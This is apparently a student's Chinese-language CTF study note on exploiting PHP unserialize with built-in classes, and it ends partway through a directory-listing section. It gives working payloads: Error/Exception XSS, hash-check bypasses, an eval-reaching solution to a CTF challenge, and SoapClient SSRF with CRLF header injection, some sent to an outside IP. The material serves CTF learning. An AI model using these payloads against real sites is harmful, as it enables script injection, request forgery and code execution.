技术内容 / 本科的一些学习笔记和wp / php反序列化原生类的利用
php反序列化原生类的利用
概述
在反序列化题目中存在可控参数却找不到可利用的类时,考虑使用php中的一些原生类,通过构造可控参数,触发并利用其内置魔术方法,实现各种漏洞功能
典型特点:没有类,但有可控参数和echo
原生类中的魔术方法
可以通过以下脚本遍历一下所有原生类中的魔术方法
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\r\n";
}
}
}
当然有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny来禁止一些类的反序列化,比如序列化DirectoryIterator的时候,结果如下测试代码
error_reporting(0);
class Test{
public $test = 111;
}
$test1 = new Test();
$test2 = new DirectoryIterator('/');
echo serialize($test1);
echo serialize($test2);
可以看到页面只回显了test1对应的序列化字符串
注释掉error_reporting(0)之后,就能看到详细的报错
当然这也和PHP版本也有一些关系,寻找的几个类中,在php5.3以前都是没有如此的限制
php各版本遍历结果对比
php5(5.4.5)
php7(7.3.4)
php8(8.0.2)
发现可遍历的类中的方法只有__Tostring,__destruct,__wakeup,__set_state
只需要注意一些常用的内置类即可
Error
Exception
SoapClient
DirectoryIterator
FilesystemIterator
SplFileObject
SimpleXMLElement
原生类利用
在CTF中常见的内置类方法利用有XSS、SSRF、反序列化、XXE,其中
3、SoapClient————SSRF
4、DirectoryIterator
5、SimpleXMLElement
XSS
Error/Exception
Error 是所有PHP内部错误类的基类。 (PHP 7, 8)
**Error::__toString ** error 的字符串表达
返回 Error 的 string表达形式。
Exception是所有用户级异常的基类。 (PHP 5, 7, 8)
**Exception::__toString ** 将异常对象转换为字符串
返回转换为字符串(string)类型的异常。
__toString方法会返回错误或异常的字符串形式,其中包含我们输入的参数,如果我们构造一串xss代码,结合echo渲染,将触发反射型xss漏洞
<?php
$a = unserialize($_GET['a']);
echo $a;
payload由如下代码得到
<?php
$a = new Error("<script>alert('hacked_by_oasis')</script>");
$b = serialize($a);
echo urlencode($b);
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A41%3A%22%3Cscript%3Ealert%28%27hacked_by_oasis%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A35%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cnativeclass.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A23%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
成功触发XSS漏洞
应用
hash绕过
绕过hash强比较,可以通过原生类进行绕过
原理:当md5()和sha1()函数处理对象时,会自动调用__tostring方法
先放 payload代码
<?php
$a=new Error("payload",1);$b=new Error("payload",2);
$c=new Exception("payload",3);$d=new Exception("payload",4);
echo $a."<br>";
echo $b."<br>";
echo $c."<br>";
echo $d;
弹框关闭后回显结果如下
可以看到报错内容中除了line参数外其他内容完全一致,所以可以利用这点绕过hash比较
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
if ($a!=$b){
echo '$a不等于$b'."\n";
}
if (md5($a)===md5($b)){
echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
echo "sha1值相等";
}
[2020 极客大挑战]Greatphp
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) =<mark> md5($this->lover)) && (sha1($this->syc)</mark>= sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
//payload如下
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";//两次取反绕过正则
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
SSRF
由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。因此在CTF中通常会出现一种存在调用不存在的方法、并且需要我们伪造请求头的题目。
SoapClient
SoapClient是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端,可以创建soap数据报文,与wsdl接口进行交互
soap扩展模块默认关闭,使用时需手动开启
SoapClient::__call —调用 SOAP 函数 (PHP 5, 7, 8)
通常,SOAP 函数可以作为SoapClient对象的方法调用
soap是什么?
soap是webServer的三要素之一(SOAP、WSDL、UDDI),WSDL用来描述如何访问具体的接口,UUDI用来管理、分发、查询webServer,SOAP是连接web服务和客户端的接口,SOAP 是一种用在分散或分布的环境中交换信息的简单的基于 XML 的协议,可使应用程序通过 HTTP 来交换信息。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
所以它的使用条件为:
1.需要有soap扩展,且需要手动开启该扩展。
2.需要调用一个不存在的方法触发其__call()函数。
3.仅限于http/https协议
类结构
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
本地测试时发现,当使用此内置类(即soap协议)请求存在服务的端口时,会立即报错,而去访问不存在服务(未占用)的端口时,会等待一段时间报错,可以以此进行内网资产的探测。
如果配合CRLF漏洞,还可以可通过 SoapClient 来控制其他参数或者post发送数据。
Y4爷讲CLRF:https://y4tacker.blog.csdn.net/article/details/110521104
HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。
CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。
通过结合CRLF,我们利用SoapClient+CRLF便可以干更多的事情,例如插入自定义Cookie
<?php
$a = new SoapClient(null, array(
'location' => 'http://47.102.146.95:2333',
'uri' =>'uri',
'user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type
<?php
$a = new SoapClient(null, array(
'location' => 'http://47.102.146.95:2333',
'uri' =>'uri',
'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
例题( ctfshow )
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff); //获取xff头(x-forward-for)
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
因此我们只需要把XFF头改为127.0.0.1并以post方式传入token即可
给出payload
🐻:(注意flag.php当中x-f-f头加了以后X-Forwarded-For: 127.0.0.1,49.235.148.38, 172.69.35.19pop方法弹出两个始终是49开头那个,所以我们把url改为127.0.0.1配合绕过)
poc如下
<?php
$target = 'http://127.0.0.1/nativeclass.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));//^^起换行作用
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
这里需要去php对应版本的配置文件中手动打开soap拓展并重启php
payload
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A32%3A%22http%3A%2F%2F127.0.0.1%2Fnativeclass.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
目录遍历
使用__toString方法结合glob或file协议,即可实现目录遍历
DirectoryIterator/FilesystemIterator
DirectoryIterator类提供了一个简单的接口来查看文件系统目录的内容。
DirectoryIterator::__toString 获取字符串形式的文件名 (PHP 5,7,8)